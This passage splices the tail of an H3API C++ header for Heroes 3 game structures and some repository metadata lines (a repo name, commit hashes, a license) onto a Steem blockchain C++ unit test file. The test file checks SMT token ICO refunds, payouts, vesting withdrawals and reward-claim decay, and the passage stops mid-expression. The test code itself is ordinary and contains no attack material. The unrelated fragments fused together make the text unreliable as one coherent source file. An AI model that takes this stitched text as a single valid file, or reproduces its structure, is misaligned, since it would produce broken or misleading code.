H3CreatureBankSetup* CreatureBankSetup(); _H3API_ H3ValidCatapultTargets* ValidCatapultTargets(); _H3API_ H3ArtifactSetup* ArtifactSetup(); _H3API_ INT ArtifactCount(); _H3API_ H3CreatureInformation* CreatureInformation(); _H3API_ H3ObstacleInfo* ObstacleInfo(); _H3API_ H3Hero* DialogHero(); _H3API_ H3TurnTimer* TurnTimer(); _H3API_ H3HeroSpecialty* HeroSpecialty(); _H3API_ H3TownCreatureTypes* TownCreatureTypes(); _H3API_ H3SecondarySkillInfo& SecondarySkillsInfo(int skill); _H3API_ H3ComboArtifactSetup* CombinationArtifacts(); } #pragma pack(pop) } #endif /* #define _H3STRUCTURES_HPP_ */
24.990483
158
0.618546
X-Stuff
7c20bf014335ca54d23f752628b8e524852c556b
73,589
cpp
C++
tests/tests/smt_operation_time_tests.cpp
warrenween/steem
acf2af52e0e36502d586fc780ffbbf56316d8838
[ "MIT" ]
1
2020-01-15T09:18:19.000Z
2020-01-15T09:18:19.000Z
tests/tests/smt_operation_time_tests.cpp
warrenween/steem
acf2af52e0e36502d586fc780ffbbf56316d8838
[ "MIT" ]
null
null
null
tests/tests/smt_operation_time_tests.cpp
warrenween/steem
acf2af52e0e36502d586fc780ffbbf56316d8838
[ "MIT" ]
null
null
null
#if defined IS_TEST_NET #include <boost/test/unit_test.hpp> #include <steem/chain/steem_fwd.hpp> #include <steem/protocol/exceptions.hpp> #include <steem/protocol/hardfork.hpp> #include <steem/protocol/smt_util.hpp> #include <steem/chain/block_summary_object.hpp> #include <steem/chain/database.hpp> #include <steem/chain/history_object.hpp> #include <steem/chain/steem_objects.hpp> #include <steem/chain/smt_objects.hpp> #include <steem/chain/util/reward.hpp> #include <steem/plugins/rc/rc_objects.hpp> #include <steem/plugins/rc/rc_operations.hpp> #include <steem/plugins/rc/rc_plugin.hpp> #include <steem/plugins/debug_node/debug_node_plugin.hpp> #include <fc/crypto/digest.hpp> #include "../db_fixture/database_fixture.hpp" #include <cmath> using namespace steem; using namespace steem::chain; using namespace steem::protocol; BOOST_FIXTURE_TEST_SUITE( smt_operation_time_tests, clean_database_fixture ) BOOST_AUTO_TEST_CASE( smt_refunds ) { try { BOOST_TEST_MESSAGE( "Testing SMT contribution refunds" ); ACTORS( (alice)(bob)(sam)(dave) ) generate_block(); auto bobs_balance = asset( 1000000, STEEM_SYMBOL ); auto sams_balance = asset( 800000, STEEM_SYMBOL ); auto daves_balance = asset( 600000, STEEM_SYMBOL ); FUND( "bob", bobs_balance ); FUND( "sam", sams_balance ); FUND( "dave", daves_balance ); generate_block(); BOOST_TEST_MESSAGE( " --- SMT creation" ); auto symbol = create_smt( "alice", alice_private_key, 3 ); const auto& token = db->get< smt_token_object, by_symbol >( symbol ); BOOST_TEST_MESSAGE( " --- SMT setup" ); signed_transaction tx; smt_setup_operation setup_op; uint64_t contribution_window_blocks = 10; setup_op.control_account = "alice"; setup_op.symbol = symbol; setup_op.contribution_begin_time = db->head_block_time() + STEEM_BLOCK_INTERVAL; setup_op.contribution_end_time = setup_op.contribution_begin_time + ( STEEM_BLOCK_INTERVAL * contribution_window_blocks ); setup_op.steem_units_min = 2400001; setup_op.max_supply = STEEM_MAX_SHARE_SUPPLY; setup_op.min_unit_ratio = 1; setup_op.max_unit_ratio = 2; setup_op.launch_time = setup_op.contribution_end_time + STEEM_BLOCK_INTERVAL; smt_capped_generation_policy capped_generation_policy; capped_generation_policy.generation_unit.steem_unit[ "alice" ] = 1; capped_generation_policy.generation_unit.token_unit[ "alice" ] = 2; smt_setup_ico_tier_operation ico_tier_op1; ico_tier_op1.control_account = "alice"; ico_tier_op1.symbol = symbol; ico_tier_op1.generation_policy = capped_generation_policy; ico_tier_op1.steem_units_cap = 2400001; smt_setup_ico_tier_operation ico_tier_op2; ico_tier_op2.control_account = "alice"; ico_tier_op2.symbol = symbol; ico_tier_op2.generation_policy = capped_generation_policy; ico_tier_op2.steem_units_cap = 4000000; tx.operations.push_back( ico_tier_op1 ); tx.operations.push_back( ico_tier_op2 ); tx.operations.push_back( setup_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, alice_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); BOOST_REQUIRE( token.phase == smt_phase::setup_completed ); generate_block(); BOOST_REQUIRE( token.phase == smt_phase::ico ); BOOST_TEST_MESSAGE( " --- SMT contributions" ); uint32_t num_contributions = 0; for ( uint64_t i = 0; i < contribution_window_blocks; i++ ) { smt_contribute_operation contrib_op; contrib_op.symbol = symbol; contrib_op.contribution_id = i; contrib_op.contributor = "bob"; contrib_op.contribution = asset( bobs_balance.amount / contribution_window_blocks, STEEM_SYMBOL ); tx.operations.push_back( contrib_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, bob_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); num_contributions++; contrib_op.contributor = "sam"; contrib_op.contribution = asset( sams_balance.amount / contribution_window_blocks, STEEM_SYMBOL ); tx.operations.push_back( contrib_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, sam_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); num_contributions++; contrib_op.contributor = "dave"; contrib_op.contribution = asset( daves_balance.amount / contribution_window_blocks, STEEM_SYMBOL ); tx.operations.push_back( contrib_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, dave_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); num_contributions++; if ( i < contribution_window_blocks - 1 ) generate_block(); validate_database(); } BOOST_REQUIRE( token.phase == smt_phase::ico ); BOOST_TEST_MESSAGE( " --- Checking contributor balances" ); BOOST_REQUIRE( db->get_balance( "bob", STEEM_SYMBOL ) == asset( 0, STEEM_SYMBOL ) ); BOOST_REQUIRE( db->get_balance( "sam", STEEM_SYMBOL ) == asset( 0, STEEM_SYMBOL ) ); BOOST_REQUIRE( db->get_balance( "dave", STEEM_SYMBOL ) == asset( 0, STEEM_SYMBOL ) ); generate_block(); BOOST_REQUIRE( token.phase == smt_phase::launch_failed ); validate_database(); BOOST_TEST_MESSAGE( " --- Starting the cascading refunds" ); generate_blocks( num_contributions / 2 ); validate_database(); generate_blocks( num_contributions / 2 + 1 ); BOOST_TEST_MESSAGE( " --- Checking contributor balances" ); BOOST_REQUIRE( db->get_balance( "bob", STEEM_SYMBOL ) == bobs_balance ); BOOST_REQUIRE( db->get_balance( "sam", STEEM_SYMBOL ) == sams_balance ); BOOST_REQUIRE( db->get_balance( "dave", STEEM_SYMBOL ) == daves_balance ); validate_database(); auto& ico_idx = db->get_index< smt_ico_index, by_symbol >(); BOOST_REQUIRE( ico_idx.find( symbol ) == ico_idx.end() ); auto& contribution_idx = db->get_index< smt_contribution_index, by_symbol_id >(); BOOST_REQUIRE( contribution_idx.find( boost::make_tuple( symbol, 0 ) ) == contribution_idx.end() ); } FC_LOG_AND_RETHROW() } BOOST_AUTO_TEST_CASE( smt_ico_payouts ) { try { BOOST_TEST_MESSAGE( "Testing SMT ICO payouts" ); ACTORS( (creator)(alice)(bob)(charlie)(dan)(elaine)(fred)(george)(henry) ) generate_block(); auto alices_balance = asset( 5000000, STEEM_SYMBOL ); auto bobs_balance = asset( 25000000, STEEM_SYMBOL ); auto charlies_balance = asset( 10000000, STEEM_SYMBOL ); auto dans_balance = asset( 25000000, STEEM_SYMBOL ); auto elaines_balance = asset( 60000000, STEEM_SYMBOL ); auto freds_balance = asset( 0, STEEM_SYMBOL ); auto georges_balance = asset( 0, STEEM_SYMBOL ); auto henrys_balance = asset( 0, STEEM_SYMBOL ); std::map< std ::string, std::tuple< share_type, fc::ecc::private_key > > contributor_contributions { { "alice", { alices_balance.amount, alice_private_key } }, { "bob", { bobs_balance.amount, bob_private_key } }, { "charlie", { charlies_balance.amount, charlie_private_key } }, { "dan", { dans_balance.amount, dan_private_key } }, { "elaine", { elaines_balance.amount, elaine_private_key } }, { "fred", { freds_balance.amount, fred_private_key } }, { "george", { georges_balance.amount, george_private_key } }, { "henry", { henrys_balance.amount, henry_private_key } } }; for ( auto& e : contributor_contributions ) { FUND( e.first, asset( std::get< 0 >( e.second ), STEEM_SYMBOL ) ); } generate_block(); BOOST_TEST_MESSAGE( " --- SMT creation" ); auto symbol = create_smt( "creator", creator_private_key, 3 ); const auto& token = db->get< smt_token_object, by_symbol >( symbol ); BOOST_TEST_MESSAGE( " --- SMT setup" ); signed_transaction tx; smt_setup_operation setup_op; uint64_t contribution_window_blocks = 5; setup_op.control_account = "creator"; setup_op.symbol = symbol; setup_op.contribution_begin_time = db->head_block_time() + STEEM_BLOCK_INTERVAL; setup_op.contribution_end_time = setup_op.contribution_begin_time + ( STEEM_BLOCK_INTERVAL * contribution_window_blocks ); setup_op.steem_units_min = 0; setup_op.min_unit_ratio = 50; setup_op.max_unit_ratio = 100; setup_op.max_supply = STEEM_MAX_SHARE_SUPPLY; setup_op.launch_time = setup_op.contribution_end_time + STEEM_BLOCK_INTERVAL; smt_capped_generation_policy capped_generation_policy; capped_generation_policy.generation_unit.steem_unit[ "fred" ] = 3; capped_generation_policy.generation_unit.steem_unit[ "george" ] = 2; capped_generation_policy.generation_unit.token_unit[ SMT_DESTINATION_FROM ] = 7; capped_generation_policy.generation_unit.token_unit[ "george" ] = 1; capped_generation_policy.generation_unit.token_unit[ "henry" ] = 2; smt_setup_ico_tier_operation ico_tier_op1; ico_tier_op1.control_account = "creator"; ico_tier_op1.symbol = symbol; ico_tier_op1.generation_policy = capped_generation_policy; ico_tier_op1.steem_units_cap = 100000000; smt_setup_ico_tier_operation ico_tier_op2; ico_tier_op2.control_account = "creator"; ico_tier_op2.symbol = symbol; ico_tier_op2.generation_policy = capped_generation_policy; ico_tier_op2.steem_units_cap = 150000000; tx.operations.push_back( ico_tier_op1 ); tx.operations.push_back( ico_tier_op2 ); tx.operations.push_back( setup_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, creator_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); BOOST_REQUIRE( token.phase == smt_phase::setup_completed ); generate_block(); BOOST_REQUIRE( token.phase == smt_phase::ico ); BOOST_TEST_MESSAGE( " --- SMT contributions" ); uint32_t num_contributions = 0; for ( auto& e : contributor_contributions ) { if ( std::get< 0 >( e.second ) == 0 ) continue; smt_contribute_operation contrib_op; contrib_op.symbol = symbol; contrib_op.contribution_id = 0; contrib_op.contributor = e.first; contrib_op.contribution = asset( std::get< 0 >( e.second ), STEEM_SYMBOL ); tx.operations.push_back( contrib_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, std::get< 1 >( e.second ) ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); generate_block(); num_contributions++; } validate_database(); generate_block(); BOOST_REQUIRE( token.phase == smt_phase::launch_success ); BOOST_TEST_MESSAGE( " --- Starting the cascading payouts" ); generate_blocks( num_contributions / 2 ); validate_database(); generate_blocks( num_contributions / 2 + 1 ); BOOST_TEST_MESSAGE( " --- Checking contributor balances" ); BOOST_REQUIRE( db->get_balance( "alice", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "bob", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "charlie", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "dan", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "elaine", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "fred", STEEM_SYMBOL ).amount == 75000000 ); BOOST_REQUIRE( db->get_balance( "george", STEEM_SYMBOL ).amount == 50000000 ); BOOST_REQUIRE( db->get_balance( "henry", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "alice", symbol ).amount == 420000000 ); BOOST_REQUIRE( db->get_balance( "bob", symbol ).amount == 2100000000 ); BOOST_REQUIRE( db->get_balance( "charlie", symbol ).amount == 840000000 ); BOOST_REQUIRE( db->get_balance( "dan", symbol ).amount == 2100000000 ); BOOST_REQUIRE( db->get_balance( "elaine", symbol ).amount == 5040000000 ); BOOST_REQUIRE( db->get_balance( "fred", symbol ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "george", symbol ).amount == 1500000000 ); BOOST_REQUIRE( db->get_balance( "henry", symbol ).amount == 3000000000 ); validate_database(); auto& ico_idx = db->get_index< smt_ico_index, by_symbol >(); BOOST_REQUIRE( ico_idx.find( symbol ) == ico_idx.end() ); auto& contribution_idx = db->get_index< smt_contribution_index, by_symbol_id >(); BOOST_REQUIRE( contribution_idx.find( boost::make_tuple( symbol, 0 ) ) == contribution_idx.end() ); } FC_LOG_AND_RETHROW() } BOOST_AUTO_TEST_CASE( smt_ico_payouts_special_destinations ) { try { BOOST_TEST_MESSAGE( "Testing SMT ICO payouts special destinations" ); ACTORS( (creator)(alice)(bob)(charlie)(dan)(elaine)(fred)(george)(henry) ) generate_block(); auto alices_balance = asset( 5000000, STEEM_SYMBOL ); auto bobs_balance = asset( 25000000, STEEM_SYMBOL ); auto charlies_balance = asset( 10000000, STEEM_SYMBOL ); auto dans_balance = asset( 25000000, STEEM_SYMBOL ); auto elaines_balance = asset( 60000000, STEEM_SYMBOL ); auto freds_balance = asset( 0, STEEM_SYMBOL ); auto georges_balance = asset( 0, STEEM_SYMBOL ); auto henrys_balance = asset( 0, STEEM_SYMBOL ); std::map< std ::string, std::tuple< share_type, fc::ecc::private_key > > contributor_contributions { { "alice", { alices_balance.amount, alice_private_key } }, { "bob", { bobs_balance.amount, bob_private_key } }, { "charlie", { charlies_balance.amount, charlie_private_key } }, { "dan", { dans_balance.amount, dan_private_key } }, { "elaine", { elaines_balance.amount, elaine_private_key } }, { "fred", { freds_balance.amount, fred_private_key } }, { "george", { georges_balance.amount, george_private_key } }, { "henry", { henrys_balance.amount, henry_private_key } } }; for ( auto& e : contributor_contributions ) { FUND( e.first, asset( std::get< 0 >( e.second ), STEEM_SYMBOL ) ); } generate_block(); BOOST_TEST_MESSAGE( " --- SMT creation" ); auto symbol = create_smt( "creator", creator_private_key, 3 ); const auto& token = db->get< smt_token_object, by_symbol >( symbol ); BOOST_TEST_MESSAGE( " --- SMT setup" ); signed_transaction tx; smt_setup_operation setup_op; uint64_t contribution_window_blocks = 5; setup_op.control_account = "creator"; setup_op.symbol = symbol; setup_op.contribution_begin_time = db->head_block_time() + STEEM_BLOCK_INTERVAL; setup_op.contribution_end_time = setup_op.contribution_begin_time + ( STEEM_BLOCK_INTERVAL * contribution_window_blocks ); setup_op.steem_units_min = 0; setup_op.min_unit_ratio = 50; setup_op.max_unit_ratio = 100; setup_op.max_supply = STEEM_MAX_SHARE_SUPPLY; setup_op.launch_time = setup_op.contribution_end_time + STEEM_BLOCK_INTERVAL; smt_capped_generation_policy capped_generation_policy1; capped_generation_policy1.generation_unit.steem_unit[ SMT_DESTINATION_MARKET_MAKER ] = 3; capped_generation_policy1.generation_unit.steem_unit[ "george" ] = 2; capped_generation_policy1.generation_unit.token_unit[ SMT_DESTINATION_FROM ] = 7; capped_generation_policy1.generation_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] = 1; capped_generation_policy1.generation_unit.token_unit[ SMT_DESTINATION_REWARDS ] = 2; smt_setup_ico_tier_operation ico_tier_op1; ico_tier_op1.control_account = "creator"; ico_tier_op1.symbol = symbol; ico_tier_op1.generation_policy = capped_generation_policy1; ico_tier_op1.steem_units_cap = 100000000; smt_capped_generation_policy capped_generation_policy2; capped_generation_policy2.generation_unit.steem_unit[ SMT_DESTINATION_MARKET_MAKER ] = 3; capped_generation_policy2.generation_unit.steem_unit[ "$!george.vesting" ] = 2; capped_generation_policy2.generation_unit.token_unit[ SMT_DESTINATION_FROM ] = 5; capped_generation_policy2.generation_unit.token_unit[ SMT_DESTINATION_MARKET_MAKER ] = 1; capped_generation_policy2.generation_unit.token_unit[ SMT_DESTINATION_REWARDS ] = 2; capped_generation_policy2.generation_unit.token_unit[ "$!george.vesting" ] = 2; smt_setup_ico_tier_operation ico_tier_op2; ico_tier_op2.control_account = "creator"; ico_tier_op2.symbol = symbol; ico_tier_op2.generation_policy = capped_generation_policy2; ico_tier_op2.steem_units_cap = 150000000; tx.operations.push_back( ico_tier_op1 ); tx.operations.push_back( ico_tier_op2 ); tx.operations.push_back( setup_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, creator_private_key ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); BOOST_REQUIRE( token.phase == smt_phase::setup_completed ); generate_block(); BOOST_REQUIRE( token.phase == smt_phase::ico ); BOOST_TEST_MESSAGE( " --- SMT contributions" ); uint32_t num_contributions = 0; for ( auto& e : contributor_contributions ) { if ( std::get< 0 >( e.second ) == 0 ) continue; smt_contribute_operation contrib_op; contrib_op.symbol = symbol; contrib_op.contribution_id = 0; contrib_op.contributor = e.first; contrib_op.contribution = asset( std::get< 0 >( e.second ), STEEM_SYMBOL ); tx.operations.push_back( contrib_op ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, std::get< 1 >( e.second ) ); db->push_transaction( tx, 0 ); tx.operations.clear(); tx.signatures.clear(); generate_block(); num_contributions++; } validate_database(); generate_block(); BOOST_REQUIRE( token.phase == smt_phase::launch_success ); BOOST_TEST_MESSAGE( " --- Starting the cascading payouts" ); generate_blocks( num_contributions / 2 ); validate_database(); generate_blocks( num_contributions / 2 + 1 ); BOOST_TEST_MESSAGE( " --- Checking contributor balances" ); BOOST_REQUIRE( db->get_balance( "alice", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "bob", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "charlie", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "dan", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "elaine", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "fred", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "george", STEEM_SYMBOL ).amount == 40000000 ); BOOST_REQUIRE( db->get_balance( "henry", STEEM_SYMBOL ).amount == 0 ); BOOST_REQUIRE( db->get_account( "george" ).vesting_shares.amount == 5076086140430482 ); BOOST_REQUIRE( db->get_balance( "alice", symbol ).amount == 420000000 ); BOOST_REQUIRE( db->get_balance( "bob", symbol ).amount == 2100000000 ); BOOST_REQUIRE( db->get_balance( "charlie", symbol ).amount == 840000000 ); BOOST_REQUIRE( db->get_balance( "dan", symbol ).amount == 2100000000 ); BOOST_REQUIRE( db->get_balance( "elaine", symbol ).amount == 4440000000 ); BOOST_REQUIRE( db->get_balance( "fred", symbol ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "george", symbol ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "henry", symbol ).amount == 0 ); BOOST_REQUIRE( db->get_balance( "george", symbol.get_paired_symbol() ).amount == 600000000000000 ); BOOST_TEST_MESSAGE( " --- Checking market maker and rewards fund balances" ); BOOST_REQUIRE( token.market_maker.steem_balance == asset( 75000000, STEEM_SYMBOL ) ); BOOST_REQUIRE( token.market_maker.token_balance == asset( 1500000000, symbol ) ); BOOST_REQUIRE( token.reward_balance == asset( 3000000000, symbol ) ); validate_database(); auto& ico_idx = db->get_index< smt_ico_index, by_symbol >(); BOOST_REQUIRE( ico_idx.find( symbol ) == ico_idx.end() ); auto& contribution_idx = db->get_index< smt_contribution_index, by_symbol_id >(); BOOST_REQUIRE( contribution_idx.find( boost::make_tuple( symbol, 0 ) ) == contribution_idx.end() ); } FC_LOG_AND_RETHROW() } BOOST_AUTO_TEST_CASE( smt_vesting_withdrawals ) { BOOST_TEST_MESSAGE( "Testing: SMT vesting withdrawals" ); ACTORS( (alice)(creator) ) generate_block(); auto symbol = create_smt( "creator", creator_private_key, 3 ); fund( "alice", asset( 100000, symbol ) ); vest( "alice", asset( 100000, symbol ) ); const auto& token = db->get< smt_token_object, by_symbol >( symbol ); auto key = boost::make_tuple( "alice", symbol ); const auto* balance_obj = db->find< account_regular_balance_object, by_name_liquid_symbol >( key ); BOOST_REQUIRE( balance_obj != nullptr ); BOOST_TEST_MESSAGE( " -- Setting up withdrawal" ); signed_transaction tx; withdraw_vesting_operation op; op.account = "alice"; op.vesting_shares = asset( balance_obj->vesting_shares.amount / 2, symbol.get_paired_symbol() ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); tx.operations.push_back( op ); sign( tx, alice_private_key ); db->push_transaction( tx, 0 ); auto next_withdrawal = db->head_block_time() + SMT_VESTING_WITHDRAW_INTERVAL_SECONDS; asset vesting_shares = balance_obj->vesting_shares; asset original_vesting = vesting_shares; asset withdraw_rate = balance_obj->vesting_withdraw_rate; BOOST_TEST_MESSAGE( " -- Generating block up to first withdrawal" ); generate_blocks( next_withdrawal - ( STEEM_BLOCK_INTERVAL / 2 ), true); BOOST_REQUIRE( balance_obj->vesting_shares.amount.value == vesting_shares.amount.value ); BOOST_TEST_MESSAGE( " -- Generating block to cause withdrawal" ); generate_block(); auto fill_op = get_last_operations( 1 )[ 0 ].get< fill_vesting_withdraw_operation >(); BOOST_REQUIRE( balance_obj->vesting_shares.amount.value == ( vesting_shares - withdraw_rate ).amount.value ); BOOST_REQUIRE( ( withdraw_rate * token.get_vesting_share_price() ).amount.value - balance_obj->liquid.amount.value <= 1 ); // Check a range due to differences in the share price BOOST_REQUIRE( fill_op.from_account == "alice" ); BOOST_REQUIRE( fill_op.to_account == "alice" ); BOOST_REQUIRE( fill_op.withdrawn.amount.value == withdraw_rate.amount.value ); BOOST_REQUIRE( std::abs( ( fill_op.deposited - fill_op.withdrawn * token.get_vesting_share_price() ).amount.value ) <= 1 ); validate_database(); BOOST_TEST_MESSAGE( " -- Generating the rest of the blocks in the withdrawal" ); vesting_shares = balance_obj->vesting_shares; auto balance = balance_obj->liquid; auto old_next_vesting = balance_obj->next_vesting_withdrawal; for( int i = 1; i < STEEM_VESTING_WITHDRAW_INTERVALS - 1; i++ ) { generate_blocks( db->head_block_time() + SMT_VESTING_WITHDRAW_INTERVAL_SECONDS ); fill_op = get_last_operations( 2 )[ 1 ].get< fill_vesting_withdraw_operation >(); BOOST_REQUIRE( balance_obj->vesting_shares.amount.value == ( vesting_shares - withdraw_rate ).amount.value ); BOOST_REQUIRE( balance.amount.value + ( withdraw_rate * token.get_vesting_share_price() ).amount.value - balance_obj->liquid.amount.value <= 1 ); BOOST_REQUIRE( fill_op.from_account == "alice" ); BOOST_REQUIRE( fill_op.to_account == "alice" ); BOOST_REQUIRE( fill_op.withdrawn.amount.value == withdraw_rate.amount.value ); BOOST_REQUIRE( std::abs( ( fill_op.deposited - fill_op.withdrawn * token.get_vesting_share_price() ).amount.value ) <= 1 ); if ( i == STEEM_VESTING_WITHDRAW_INTERVALS - 1 ) BOOST_REQUIRE( balance_obj->next_vesting_withdrawal == fc::time_point_sec::maximum() ); else BOOST_REQUIRE( balance_obj->next_vesting_withdrawal.sec_since_epoch() == ( old_next_vesting + SMT_VESTING_WITHDRAW_INTERVAL_SECONDS ).sec_since_epoch() ); validate_database(); vesting_shares = balance_obj->vesting_shares; balance = balance_obj->liquid; old_next_vesting = balance_obj->next_vesting_withdrawal; } BOOST_TEST_MESSAGE( " -- Generating one more block to finish vesting withdrawal" ); generate_blocks( db->head_block_time() + SMT_VESTING_WITHDRAW_INTERVAL_SECONDS, true ); BOOST_REQUIRE( balance_obj->next_vesting_withdrawal.sec_since_epoch() == fc::time_point_sec::maximum().sec_since_epoch() ); BOOST_REQUIRE( balance_obj->vesting_shares.amount.value == ( original_vesting - op.vesting_shares ).amount.value ); validate_database(); } BOOST_AUTO_TEST_CASE( recent_claims_decay ) { try { BOOST_TEST_MESSAGE( "Testing: recent_rshares_2decay" ); ACTORS( (alice)(bob)(charlie) ) generate_block(); auto alice_symbol = create_smt( "alice", alice_private_key, 3 ); auto bob_symbol = create_smt( "bob", bob_private_key, 3 ); auto charlie_symbol = create_smt( "charlie", charlie_private_key, 3 ); set_price_feed( price( ASSET( "1.000 TBD" ), ASSET( "1.000 TESTS" ) ) ); generate_block(); uint64_t alice_recent_claims = 1000000ull; uint64_t bob_recent_claims = 1000000ull; uint64_t charlie_recent_claims = 1000000ull; time_point_sec last_claims_update = db->head_block_time(); db_plugin->debug_update( [=]( database& db ) { auto alice_vests = db.create_vesting( db.get_account( "alice" ), asset( 100000, alice_symbol ), false ); auto bob_vests = db.create_vesting( db.get_account( "bob" ), asset( 100000, bob_symbol ), false ); auto now = db.head_block_time(); db.modify( db.get< smt_token_object, by_symbol >( alice_symbol ), [=]( smt_token_object& smt ) { smt.phase = smt_phase::launch_success; smt.current_supply = 100000; smt.total_vesting_shares = alice_vests.amount; smt.total_vesting_fund_smt = 100000; smt.votes_per_regeneration_period = 50; smt.vote_regeneration_period_seconds = 5*24*60*60; smt.recent_claims = uint128_t( 0, alice_recent_claims ); smt.last_reward_update = now; }); db.modify( db.get< smt_token_object, by_symbol >( bob_symbol ), [=]( smt_token_object& smt ) { smt.phase = smt_phase::launch_success; smt.current_supply = 100000; smt.total_vesting_shares = bob_vests.amount; smt.total_vesting_fund_smt = 100000; smt.votes_per_regeneration_period = 50; smt.vote_regeneration_period_seconds = 5*24*60*60; smt.recent_claims = uint128_t( 0, bob_recent_claims ); smt.last_reward_update = now; smt.author_reward_curve = curve_id::linear; }); db.modify( db.get< smt_token_object, by_symbol >( charlie_symbol ), [=]( smt_token_object& smt ) { smt.phase = smt_phase::launch_success; smt.current_supply = 0; smt.total_vesting_shares = 0; smt.total_vesting_fund_smt = 0; smt.votes_per_regeneration_period = 50; smt.vote_regeneration_period_seconds = 5*24*60*60; smt.recent_claims = uint128_t( 0, charlie_recent_claims ); smt.last_reward_update = now; }); }); generate_block(); comment_operation comment; vote2_operation vote; signed_transaction tx; comment.author = "alice"; comment.permlink = "test"; comment.parent_permlink = "test"; comment.title = "foo"; comment.body = "bar"; allowed_vote_assets ava; ava.votable_assets[ alice_symbol ] = votable_asset_options(); ava.votable_assets[ bob_symbol ] = votable_asset_options(); comment_options_operation comment_opts; comment_opts.author = "alice"; comment_opts.permlink = "test"; comment_opts.extensions.insert( ava ); vote.voter = "alice"; vote.author = "alice"; vote.permlink = "test"; vote.rshares[ STEEM_SYMBOL ] = 10000 + STEEM_VOTE_DUST_THRESHOLD; vote.rshares[ alice_symbol ] = -5000 - STEEM_VOTE_DUST_THRESHOLD; tx.operations.push_back( comment ); tx.operations.push_back( comment_opts ); tx.operations.push_back( vote ); tx.set_expiration( db->head_block_time() + STEEM_MAX_TIME_UNTIL_EXPIRATION ); sign( tx, alice_private_key ); db->push_transaction( tx, 0 ); auto alice_vshares = util::evaluate_reward_curve( db->get_comment( "alice", string( "test" ) ).net_rshares.value, db->get< reward_fund_object, by_name >( STEEM_POST_REWARD_FUND_NAME ).author_reward_curve, db->get< reward_fund_object, by_name >( STEEM_POST_REWARD_FUND_NAME ).content_constant ); generate_blocks( 5 ); comment.author = "bob"; ava.votable_assets.clear(); ava.votable_assets[ bob_symbol ] = votable_asset_options(); comment_opts.author = "bob"; comment_opts.extensions.clear(); comment_opts.extensions.insert( ava ); vote.voter = "bob"; vote.author = "bob"; vote.rshares.clear(); vote.rshares[ STEEM_SYMBOL ] = 10000 + STEEM_VOTE_DUST_THRESHOLD; vote.rshares[ bob_symbol ] = 5000 + STEEM_VOTE_DUST_THRESHOLD; tx.clear(); tx.operations.push_back( comment ); tx.operations.push_back( comment_opts ); tx.operations.push_back( vote ); sign( tx, bob_private_key ); db->push_transaction( tx, 0 ); generate_blocks( db->get_comment( "alice", string( "test" ) ).cashout_time ); { const auto& post_rf = db->get< reward_fund_object, by_name >( STEEM_POST_REWARD_FUND_NAME ); BOOST_REQUIRE( post_rf.recent_claims == alice_vshares ); fc::microseconds decay_time = STEEM_RECENT_RSHARES_DECAY_TIME_HF19; const auto& alice_rf = db->get< smt_token_object, by_symbol >( alice_symbol ); alice_recent_claims -= ( ( db->head_block_time() - last_claims_update ).to_seconds() * alice_recent_claims ) / decay_time.to_seconds(); BOOST_REQUIRE( alice_rf.recent_claims.to_uint64() == alice_recent_claims ); BOOST_REQUIRE( alice_rf.last_reward_update == db->head_block_time() ); const auto& bob_rf = db->get< smt_token_object, by_symbol >( bob_symbol ); BOOST_REQUIRE( bob_rf.recent_claims.to_uint64() == bob_recent_claims ); BOOST_REQUIRE( bob_rf.last_reward_update == last_claims_update ); const auto& charlie_rf = db->get< smt_token_object, by_symbol >( charlie_symbol ); BOOST_REQUIRE( charlie_rf.recent_claims.to_uint64() == charlie_recent_claims ); BOOST_REQUIRE( charlie_rf.last_reward_update == last_claims_update ); validate_database(); } auto bob_cashout_time = db->get_comment( "bob", string( "test" ) ).cashout_time; auto bob_vshares = util::evaluate_reward_curve( db->get_comment( "bob", string( "test" ) ).net_rshares.value, db->get< reward_fund_object, by_name >( STEEM_POST_REWARD_FUND_NAME ).author_reward_curve, db->get< reward_fund_object, by_name >( STEEM_POST_REWARD_FUND_NAME ).content_constant ); generate_block(); while( db->head_block_time() < bob_cashout_time ) { alice_vshares -= ( alice_vshares * STEEM_BLOCK_INTERVAL ) / 